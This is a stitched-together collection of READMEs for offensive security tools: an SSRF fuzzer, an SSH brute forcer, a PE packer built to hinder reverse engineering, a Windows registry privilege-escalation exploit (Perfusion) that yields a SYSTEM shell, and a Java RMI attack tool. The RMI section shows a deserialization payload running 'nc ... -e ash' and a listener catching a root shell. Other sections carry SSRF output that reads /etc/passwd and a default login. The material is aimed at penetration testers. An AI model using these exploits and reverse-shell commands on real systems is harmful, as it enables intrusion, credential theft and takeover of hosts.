A fast tool to fetch URLs from HTML attributes by crawl-in. Inspired by the @omespino Tweet, which is possible to extract src, href, url and action values by evaluating JavaScript through Chrome DevTools Protocol.

The installation is easy. You can download a prebuilt binary from releases page, unpack and run! or with

             __
   __    _ _(_ )   __  _ __ 
 /'_ '\/'_' )| | /'__'( '__)
( (_) ( (_| || |(  ___| |
'\__  '\__,_(___'\____(_)
( )_) |
 \___/'  @dwisiswant0

If you have go1.15+ compiler installed and configured:

▶ (sudo) curl -sSfL https://git.io/galer | sh -s -- -b /usr/local/bin

▶ GO111MODULE=on go get github.com/dwisiswant0/galer

Simply, galer can be run with:

▶ git clone https://github.com/dwisiswant0/galer
▶ cd galer
▶ go build .
▶ (sudo) mv galer /usr/local/bin

▶ galer -u "http://domain.tld"

This will display help for the tool. Here are all the switches it supports.

▶ galer -h

▶ galer -u "http://domain.tld"

▶ galer -u /path/to/urls.txt

In case you want to chained with other tools:

▶ cat urls.txt | galer

You can use galer as library.

▶ subfinder -d domain.tld -silent | httpx -silent | galer

For example:

▶ go get github.com/dwisiswant0/galer/pkg/galer

• Enable to set extra HTTP headers
• Provide randomly User-Agent
• Bypass headless browser
• Add exception for specific extensions

If you are still confused or found a bug, please open the issue. All bug reports are appreciated, some features have not been tested yet due to lack of free time.

galer released under MIT. See LICENSE for more details.

Current version is 0.0.2 and still development.

id_ID• /gäˈlər/— kalau galer jangan dicium baunya, langsung cuci tangan, bego!

• Omar Espino for the idea, that's why this tool was made!

SSRFuzz is a tool to find Server Side Request Forgery vulnerabilities, with CRLF chaining capabilities

• I wanted to write a tool in Golang for concurrency
• I wanted to fuzz parameters for SSRF vulnerablities, as well as fuzz both paths and parameters for CRLF injections
• I was inspired by Orange's work for chaining these types of vulnerabilities together (https://blog.orange.tw)

Run the following command to intsall

go get -u github.com/ryandamour/ssrfuzz

██████   ██████  ██▀███    █████▒█    ██ ▒███████▒▒███████▒
▒██    ▒ ▒██    ▒ ▓██ ▒ ██▒▓██   ▒ ██  ▓██▒▒ ▒ ▒ ▄▀░▒ ▒ ▒ ▄▀░
░ ▓██▄   ░ ▓██▄   ▓██ ░▄█ ▒▒████ ░▓██  ▒██░░ ▒ ▄▀▒░ ░ ▒ ▄▀▒░ 
▒   ██▒  ▒   ██▒▒██▀▀█▄  ░▓█▒  ░▓▓█  ░██░  ▄▀▒   ░  ▄▀▒   ░
▒██████▒▒▒██████▒▒░██▓ ▒██▒░▒█░   ▒▒█████▓ ▒███████▒▒███████▒
▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░░ ▒▓ ░▒▓░ ▒ ░   ░▒▓▒ ▒ ▒ ░▒▒ ▓░▒░▒░▒▒ ▓░▒░▒
░ ░▒  ░ ░░ ░▒  ░ ░  ░▒ ░ ▒░ ░     ░░▒░ ░ ░ ░░▒ ▒ ░ ▒░░▒ ▒ ░ ▒
░  ░  ░  ░  ░  ░    ░░   ░  ░ ░    ░░░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░
░        ░     ░               ░       ░ ░      ░ ░    
░        ░       


===============================================================
SSRFUZZ 1.2
by Ryan D'Amour @ryandamour 
===============================================================A scanner for all your SSRF Fuzzing needs

Usage:
  ssrfuzz scan [flags]

Flags:
  -b, --call-back string       Add callback for SSRF fuzzing (ie: https://github.com/ropnop/serverless_toolkit/tree/master/ssrf_slack)
  -c, --cookie string          Cookie to use for requests
      --crlf-path              Add CRLF payloads to all available paths (ie: site.com/%0Atest.php)
      --delay int              The time each threads waits between requests in milliseconds (default 100)
  -d, --domains string         Location of domains with parameters to scan
  -h, --help                   help for scan
  -x, --http-method string     HTTP Method - GET or POST (default "GET")
  -o, --output string          Location to save results
      --skip-crlf              Skip CRLF fuzzing
      --skip-network           Skip network fuzzing
      --skip-scheme            Skip scheme fuzzing
  -s, --slack-webhook string      Slack webhook to send findings to a channel
  -t, --threads int            Number of threads to run ssrfuzz on (default 50)
      --timeout int            The amount of time needed to close a connection that could be hung (default 10)
  -u, --user-agent string      User agent for requests (default "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36")
  -v, --verbose                verbose output

Usage: 
echo "http://url_to_fuzz" | ssrfuzz scan
cat file_of_domains.txt | ssrfuzz scan
ssrfuzz scan -d file_of_domains.txt

* Scanning http and scheme payloads w/ crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan

[!] Scheme payload match:
* http://192.168.1.10/test.php?u=file://etc/passwd 200

[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.ph?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500

[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23   %OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500

* Scanning only http payloads w/ crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme

[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:80%23%OA 200
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:8080%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:443%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:25%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:22%23%OA 500
* http://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500
* htt   p://192.168.1.10/test.php?u=http://127.127.127.127:445%23%OA 500

* Scanning only http payloads w/o crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-scheme --skip-crlf

[!] Interesting payloads found
* http://192.168.1.10/test.php?u=http://127.1.0.0:80 200
* http://192.168.1.10/test.php?u=http://127.1.0.0:8080 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:443 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:22 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:25 500
* http://192.168.1.10/test.php?u=http://127.1.0.0:445 500

* Scanning only scheme payloads w/o crlf:

echo "http://192.168.1.10/test.php?u=" | go run main.go scan --skip-network --skip-crlf

[!] Interesting payloads found
* http://192.168.1.10/test.php?u=file:///etc/passwd 200
* http://192.168.1.10/test.php?u=file:///etc/shadow 500
* http://192.168.1.10/test.php?u=file://169.254.169.254/ 500

Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change.

Please make sure to update tests as appropriate.

This tool is compatible with all kind of operating systems as long as you have GO compiler installed

You can use this command if you have Go installed and configured.

go get -u github.com/m4dm0e/dirdar

Or you can download a release. To make it easier to execute you can put the directory to the binary in your environment variable %PATH%.

• Linux

• Windows

  
  

  -threads int
    	Number of threads (Defaulf 40)
  -err
    	If you want to show errors!(Includes 404 errors) [True-False]
  -only-ok
    	Print out only OK (Bypassed and dir listing) 
  -single string
    	Only scan single target e.g (-single https://example.com/)
  -t int
    	Set the timeout of the requests (default 10000)
  -wl string
    	Forbidden directories WordList

• Screenshot

  
  

• BackUp files at MTN Group (Triaged)
• OLD php scripts to SQLi at MTN Group (Triaged)
• OLD Files to information disclosure at BOSCH (Triaged)

SecureShellBruteforcer— A faster & simpler way to bruteforce SSH server.

Download a pre-built binary from releases page, unpack and run! Or:

▶ (sudo) curl -sSfL 'https://git.io/kitabisa-ssb' | sh -s -- -b /usr/local/bin

Need go1.14+compiler installed and configured, then:

▶ GO111MODULE=on go get ktbs.dev/ssb

▶ ssb [-p port] [-w wordlist.txt] [-t timeout]
      [-c concurrent] [-r retries] [-o output] [user@]hostname

  -p port       Port to connect to on the remote host (default 22).    -w wordlist       Path to wordlist file.    -t timeout       Connection timeout (default 30s).    -c concurrent       Concurrency/threads level (default 100).    -r retries       Specify the connection retries (default 1).    -o output       Save valid password to file.    -v       Verbose mode.  

PE-Packer is a simple packer for Windows PE files. The new PE file after packing can obstruct the process of reverse engineering.

It will do the following things when packing a PE file:

• Transforming the original import table.
• Encrypting sections.
• Clearing section names.
• Installing the shell-entry.

When running a packed PE file, the shell-entry will decrypt and load the original program as follows:

• Decrypting sections.
• Initializing the original import table.
• Relocation.

Before packing, using some disassembly tools can disassemble the executable file to analyze the code, such as IDA Pro.

• Disassembling the code.

  
  

• Searching constant strings.

  
  

• Analyzing the import table.

  
  

After packing, the reverseanalysis will be obstructed.

• Disassembling the code.

  
  

• Searching constant strings.

  
  

• Analyzing the import table.

  
  

This project is just a demo for beginners to study Windows PE Format and Assembly Language. It still has some compatibility problems and bugs that cannot be used in practice.

The project must configure on/for Windows 32-bit and can only process 32-bit.exe programs now.

• Install MASM32.
• Install MinGW-w64, select i686 architecture.
• Install CMake.
• Set the PATH environment variables of these three tools.

> mkdir -p build
> cd build
> cmake .. -D CMAKE_C_COMPILER=gcc -G "MinGW Makefiles"
> cmake --build .

Or run the build.ps1 file directly:

> .\build.ps1

To pack a program, you must specify its input name and the output name.

PE-Packer <input-file> <output-file>

For example:

PE-Packer hello.exe hello-pack.exe

You can use Doxygen to generate the document.

In order to avoid scanning.md files, you must add *.md to the EXCLUDE_PATTERNS configuration option.

EXCLUDE_PATTERNS = *.md

This option is in "Expert" -> "Input" page.

《加密与解密（第3版）》段钢

PE Format - Windows Dev Center

GitHub: https://github.com/czs108/

E-Mail: chenzs108@outlook.com

WeChat: chenzs108

On Windows 7, Windows Server 2008R2, Windows 8, and Windows Server 2012, the registry key of the RpcEptMapper and DnsCache (7/2008R2 only) services is configured with weak permissions. Any local user can create a Performance subkey and then leverage the Windows Performance Counters to load an arbitrary DLL in the context of the WMI service as NT AUTHORITY\SYSTEM (hence the tool's name).

This tool is intended to help security consultants during penetration tests. This software is provided as is, and I will probably not provide any support. Though, I tested it thoroughly on three different virtual machines so there should not be any significant issue.

For more information: https://itm4n.github.io/windows-registry-rpceptmapper-eop/  

During the development phase of this tool, I observed two different behaviors:

1. The DLL is loaded directly by the main process of the WMI service as NT AUTHORITY\SYSTEM, in this case the exploit works perfectly fine.
2. The DLL is loaded by a subprocess of the WMI service that runs as NT AUTHORITY\LOCAL SERVICE. In this case, the service loads the DLL while impersonating the client. It turns out a privilege escalation is still possible on Windows 7 (because of another vulnerability) but the implementation cost was not worth the effort.

I am not able to explain this difference because my trigger code was always the same. Anyway, in either case, let the exploit do its job so that it can clean everything up when it's done. If the exploit fails, there is still a chance it will work a few minutes or hours later though.

C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.

C:\Temp>whoami
nt authority\system

C:\Temp>

C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.

C:\Temp>

This solution is composed of two projects that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions:

1. Open the Solution with Visual Studio 2019
2. Select Release / x64
3. Build > Build Solution

You can check the help message using the -h option.

C:\TOOLS>Perfusion.exe -h
 _____         ___         _
|  _  |___ ___|  _|_ _ ___|_|___ ___
|   __| -_|  _|  _| | |_ -| | . |   |  version 0.1
|__|  |___|_| |_| |___|___|_|___|_|_|  by @itm4n

Description:
  Exploit tool for the RpcEptMapper registry key vulnerability.

Options:
  -c <CMD>  Command - Execute the specified command line
  -i        Interactive - Interact with the process (default: non-interactive)
  -d        Desktop - Spawn a new process on your desktop (default: hidden)
  -h        Help - That's me :)

The following versions of Windows are vulnerable:

As far as I know, this vulnerability will not be fixed by Microsoft, for some reason. The best solution is still to upgrade to Windows 10 / Server 2019 but if it is not a short-term option, you can still patch this issue yourself by removing the CreateSubKey permission for both NT AUTHORITY\Authenticated Users and BUILTIN\Users on the following registry keys:

• HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
• HKLM\SYSTEM\CurrentControlSet\Services\DnsCache

I created a patch for this vulnerability in the form of a PowerShell script: RegistryPatch.ps1. This script removes the CreateSubKey right on the two above-mentioned registry keys for the following identities: NT AUTHORITY\INTERACTIVE, BUILTIN\Users and/or BUILTIN\Authenticated Users.

• Check if a machine is vulnerable: (Windows Server 2012 here)

PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True

• Apply the patch: (Windows Server 2008 R2 here)

PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose 
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInhe   rited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True

Below are the exploit steps that are implemented in this tool:

1. A Process is created in the background in a suspended state (using the specified command line).
2. The embedded payload DLL is written to the current user's Temp folder.
3. A Performance key is created under HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper and is populated with the appropriate values, including the full path of the DLL that was created at step 2.
4. The WMI class Win32_Perf is created and invoked to trigger the collection of Windows Performance Counters.
5. The DLL is loaded by the WMI service either as NT AUTHORITY\SYSTEM or NT AUTHORITY\LOCAL SERVICE.
6. If the DLL is loaded by NT AUTHORITY\SYSTEM, its Token is duplicated and is applied to the Process that was initially created by the user at step 1.
7. Everything is cleaned up and the main Thread of the suspended Process is resumed.

Horusec is an open source tool that performs static code analysis to identify security flaws during the development process. Currently, the languages for analysis are: C#, Java, Kotlin, Python, Ruby, Golang, Terraform, Javascript, Typescript, Kubernetes, PHP, C, HTML, JSON, Dart. The tool has options to search for key leaks and security flaws in all files of your project, as well as in Git history. Horusec can be used by the developer through the CLI and by the DevSecOps team on CI /CD mats. See in our DOCUMENTATION the complete list of tools and languages that we perform analysis

We started the project to aggregate within our company, but as the search grew more and more we chose to apply good practices and open it up for everyone to collaborate with this incredible project.

In order to achieve our goals, we separated in some delivery phases:

• Phase 0: Support for all horusec-cli features into horusec-vscode (Q1)
• Phase 1: Support for the Theia(VsCode Web) (Q1)
• Phase 2: Support to Flutter, Dart, Bash, Shell, Elixir, Cloujure e Scala in analysis (Q1)
• Phase 3: New service to manager vulnerabilities founds (Q2)
• Phase 4: Dependency analysis for all supported languages (Q3)
• Phase 5: SAST with MVP Semantic Analysis (Q4)
• Phase 6: DAST with MVP symbolic analysis (Q4)

To see more details how install go to HERE

horusec version

For use horusec-cli and check your vulnerabilities

horusec start

or send with the authorization token to view the content analytically in the horusec admin panel.

horusec start -a="<YOUR_TOKEN_AUTHORIZATION>"

To acquire the authorization token and you can see your vulnerabilities analytically on our panel see more details HERE

WARN: When horusec starts an analysis it creates a folder called .horusec. This folder serves as the basis for not changing your code. So we recommend that you add the line .horusec into your .gitignore file so that this folder does not need to be sent to your git server!

• docker
• git(Mandatory if you are using search throughout the project's git history)

For usage the horusec locally clone horusec in your local machine and run

make install

and run the HORUSEC-CLI to start the analysis

For usage complete feature of the horusec you can see enter using this default user generated by horusec for you usage.

WARN: We do dns validation for account creation, so remember to use a valid email. For tests accounts we accept ...@example.com as a valid dns.

  email: dev@example.com
  password: Devpass0*

• docker
• git
• docker-compose/helm
• golang
• rabbitmq
• postgres
• account-of-email (optional)

• Separate repositories by companies
• Manage users who have access to your company (users must be pre-registered on horusec to be invited to a pre-existing company)
• Manage the repositories available in your company for analysis
• Manage users who have access to company repositories
• Manage your access tokens for the specific repository (required to identify which repository this analysis belongs to and save to our system)
• Visually view all existing vulnerabilities in your company and/or its repository

Read our contributing guide to learn about our development process, how to propose bugfixes and improvements, and how to build and test your changes to horusec.

We have a few channels for contact, feel free to reach out to us at:

• GitHub Issues

remote-method-guesser (rmg) is a command line utility written in Java and can be used to identify security vulnerabilities on Java RMI endpoints. Currently, the following operations are supported:

• List available bound names and their corresponding interface class names
• List codebase locations (if exposed by the remote server)
• Check for known vulnerabilities (enabled class loader, missing JEP290, localhost bypass)
• Identify existing remote methods by using a bruteforce (wordlist) approach
• Call remote methods with ysoserial gadgets within the arguments
• Call remote methods with a client specified codebase (remote class loading attack)
• Perform DGC and registry calls with ysoserial gadgets or a client specified codebase
• Perform bind, unbind and rebind operations against a registry
• Extend ysoserial gadgets with An Trinhs registry bypass
• Enumerate the unmarshalling behavior of java.lang.String
• Create Java code dynamically to invoke remote methods manually

During remote method guessing, deserialization and codebase attacks, the argument types of remote method calls are confused to prevent method invocation on the server side. This technique is not unique to remote-method-guesser and was used first (to the best of my knowledge) by Jake Miller in the rmiscout project. 

rmg is a maven project and installation should be straight forward. With maven installed, just execute the following commands to create an executable .jar file:

$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package

rmg also supports autocompletion for bash. To take advantage of autocompletion, you need to have the completion-helpers project installed. If setup correctly, just copying the completion script to your ~/.bash_completion.d folder enables autocompletion.

$ cp resources/bash_completion.d/rmg ~/bash_completion.d/

In the following, short examples for each available operation are presented. For a more detailed description you should read the documentation folder. All presented examples are based on the rmg-example-server which is also contained within this project. You can also modify and rebuild the example server yourself, by using the sources within the docker folder.

[qtc@kali ~]$ rmg --help
usage: rmg [options] <ip> <port> <action>

rmg v3.1.0 - Identify common misconfigurations on Java RMI endpoints.

Positional Arguments:
    ip                              IP address of the target
    port                            Port of the RMI registry
    action                          One of the possible actions listed below

Possible Actions:
    act <gadget> <command>          Performs Activator based deserialization attacks
    bind <boundname> <listener>     Binds an object to the registry thats points to listener
    codebase <classname> <url>      Perform remote class loading attacks
    dgc <gadget> <command>          Perform DGC based deserialization attacks
    enum                               Enumerate bound names, classes, SecurityManger and JEP290
    guess                           Guess methods on bound names
    listen <gadget> <command>       Open ysoserials JRMP listener
    method <gadget> <command>       Perform method based deserialization attacks
    rebind <boundname> <listener>   Rebinds boundname as object that points to listener
    reg <gadget> <command>          Perform registry based deserialization attacks
    unbind <boundName>              Removes the specified bound name from the registry

Optional Arguments:
    --argument-position <int>       select argument position for deserialization attacks
    --bound-name <name>             guess only on the specified bound name
    --config <file>                 path to a configuration file
    --create-samples                create sample classes for identified methods
    --dgc-meth   od <method>           method to use during dgc operations (clean|dirty)
    --follow                        follow redirects to different servers
    --force-legacy                  treat all classes as legacy stubs
    --help                          display help message
    --localhost-bypass              attempt localhost bypass for registry operations (CVE-2019-2684)
    --no-color                      disable colored output
    --no-legacy                     disable automatic legacy stub detection
    --reg-method <method>           method to use during registry operations (bind|lookup|unbind|rebind)
    --sample-folder <folder>        folder used for sample generation
    --signature <method>            function signature or one of (dgc|reg|act)
    --ssl                           use SSL for the rmi-registry connection
    --stack-trace                   display stack traces for caught exceptions
    --t   emplate-folder <folder>      location of the template folder
    --threads <int>                 maximum number of threads (default: 5)
    --trusted                       disable bound name filtering
    --update                        update wordlist file with method hashes
    --wordlist-file <file>          wordlist file to use for method guessing
    --wordlist-folder <folder>      location of the wordlist folder
    --yso <file>                    location of ysoserial.jar for deserialization attacks
    --zero-arg                      allow guessing on void functions (dangerous)

The enum action performs several checks on the specified RMI registry endpoint. It provides a list of all available bound names, displays the servers codebase (if existent), checks for missing JEP290 and some other common vulnerabilities. enum is the default action of remote-method-guesser and can either be invoked by only specifying the port and IP address of a target or by specifying enum as action explicitly.

[qtc@kali ~]$ rmg --ssl 172.18.0.2 1090
[+] RMI registry bound names:
[+] 
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 	- ssl-server
[+] 		--> de.qtc.rmg.server.interfaces.ISslServer (unknown class)
[+] 	- secure-server
[+] 		--> de.qtc.rmg.server.interfaces.ISecureServer (unknown class)
[+] 
[+] RMI server codebase enumeration:
[+] 
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.interfaces.ISslServer
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+] 		--> javax.rmi.ssl.SslRMIClientSocketFactory
[+] 		--> de.qtc.rmg.server.interfaces.ISecureServer
[+] 
[+] RMI server String unmarshalling enumeration:
[+] 
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdat   ed
[+] 
[+] RMI server useCodebaseOnly enumeration:
[+] 
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+] 
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+] 
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+] 
[+] RMI DGC enumeration:
[+] 
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The DGC uses most likely a separate security policy.
[+] 	  Configuration Status: Current Default
[+] 
[+] RMI server JEP290 enumeration:
[+] 
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulner   able
[+] 
[+] RMI registry JEP290 bypass enmeration:
[+] 
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+] 
[+] RMI ActivationSystem enumeration:
[+] 
[+] 	- Caught NoSuchObjectException during activate call (activator not present).
[+] 	  Configuration Status: Current Default

By using the bind, rebind or unbind action, it is possible to modify the available bound names within the RMI registry. This is especially useful for verifying CVE-2019-2684, which bypasses the localhost restrictions and enables remote users to perform bind operations. Whereas the unbind action only requires the bound name that should be removed, the bind and rebind operations also require a RemoteObject that should be bound. remote-method-guesser always uses javax.management.remote.rmi.RMIServerImpl_Stub for this purpose, which is the RemoteObject used by jmx. You need also to specify the address of the corresponding TCP endpoint (address where clients should connect to, when they attempt to use your bound object).

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090
[+] Creating RMI Registry object... done.
[+] Obtaining list of bound names... done.
[+] 3 names are bound to the registry.
[+]
[+] Listing bound names in registry:
[+]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 	- ssl-server
[+] 		--> de.qtc.rmg.server.interfaces.ISslServer (unknown class)
[+] 	- secure-server
[+] 		--> de.qtc.rmg.server.interfaces.ISecureServer (unknown class)
[...]

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 bind jmxrmi 172.23.0.1:4444 --localhost-bypass
[+] Binding name jmxrmi to TCPEndpoint 172.23.0.1:4444
[+] 
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 
[+] Creating RMI Registry object... done.
[+] Obtaining list of bound names... done.
[+] 4 names are bound to the reg   istry.
[+] RMI object tries to connect to different remote host: 172.23.0.1
[+] 	Redirecting the connection back to 172.23.0.2... 
[+] 	This is done for all further requests. This message is not shown again. 
[+] 
[+] Listing bound names in registry:
[+] 
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 	- ssl-server
[+] 		--> de.qtc.rmg.server.interfaces.ISslServer (unknown class)
[+] 	- secure-server
[+] 		--> de.qtc.rmg.server.interfaces.ISecureServer (unknown class)
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class)
[...]

When using the guess action, remote-method-guesser attempts to identify existing remote methods by sending method hashes to the remote server. This operation requires a wordlist that contains the corresponding method definitions. remote-method-guesser ships some default wordlists and expects them in the path /opt/remote-method-guesser/wordlists/. You can change this path either by modifying the rmg configuration file or by using the --wordlist-file or --wordlist-folder options. Methods with zero arguments are skipped during the enumeration, as they lead to real method calls on the server side. You can enable guessing on them by using the --zero-arg switch.

[qtc@kali ~]$ rmg --ssl --zero-arg 172.23.0.2 1090 guess
[+] Creating RMI Registry object... done.
[+] Obtaining list of bound names... done.
[+] 3 names are bound to the registry.
[+] 2 wordlist files found.
[+] Reading method candidates from file /opt/remote-method-guesser/wordlists/rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from file /opt/remote-method-guesser/wordlists/rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+] 
[+] Starting RMG Attack
[+] 	No target name specified. Guessing on all available bound names.
[+] 	Guessing 3294 method signature(s).
[+] 	
[+] 	Current bound name: ssl-server
[+] 		Guessing methods...
[+]
[+] 			HIT! Method with signature String system(String[] dummy) exists!
[+] 			HIT! Method with signature int execute(String dummy) exists!
[+] 			HIT! Method with signature void releaseRecord(int recordID, String tableName,    Integer remoteHashCode) exists!
[+] 		
[+] 	Current bound name: plain-server
[+] 		Guessing methods...
[+]
[+] 			HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 			HIT! Method with signature String execute(String dummy) exists!
[+] 		
[+] 	Current bound name: secure-server
[+] 		Guessing methods...
[+]
[+] 			HIT! Method with signature void updatePreferences(java.util.ArrayList dummy1) exists!
[+] 			HIT! Method with signature void logMessage(int dummy1, Object dummy2) exists!
[+] 			HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		
[+] 
[+] Listing successfully guessed methods:
[+] 	-  ssl-server
[+] 		--> String system(String[] dummy)
[+] 		--> int execute(String dummy)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 	-  plain-server
[+] 		--> String system(String dummy, Str   ing[] dummy2)
[+] 		--> String execute(String dummy)
[+] 	-  secure-server
[+] 		--> void updatePreferences(java.util.ArrayList dummy1)
[+] 		--> void logMessage(int dummy1, Object dummy2)
[+] 		--> String login(java.util.HashMap dummy1)

Remote methods that do not only use primitive types within their arguments are often vulnerable to deserialization attacks. This blog post by Hans-Martin Münch explains this issue in more detail. remote-method-guesser can be used to easily verify such vulnerabilities. As an example, we can use the String login(java.util.HashMap dummy1) method that was guessed in the example above.

[qtc@kali ~]$ rmg --ssl 172.23.0.2 1090 method CommonsCollections6 "nc 172.23.0.1 4444 -e ash" --signature "String login(java.util.HashMap dummy1)" --bound-name secure-server
[+] Creating RMI Registry object... done.
[+] Creating ysoserial payload... done.
[+] Attacking signature String login(java.util.HashMap dummy1) (ysoserial attack)
[+] Target name specified. Only attacking bound name: secure-server
[+] 
[+] Current bound name: secure-server
[+] 	Found non primitive argument type on position 0
[+] 	RMI object tries to connect to different remote host: iinsecure.dev
[+] 		Redirecting the connection back to 172.23.0.2... 
[+] 		This is done for all further requests. This message is not shown again. 
[+] 	Invoking remote method...
[+] 		Caught ClassNotFoundException during ysoserial attack.
[+] 		Deserialization attack most likely worked :)

On another terminal, you can confirm that the deserialization attack was indeed successful:

[qtc@kali ~]$ nc -vlp 4444
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.23.0.2.
Ncat: Connection from 172.23.0.2:39041.
id
uid=0(root) gid=0(root) groups=0(root)

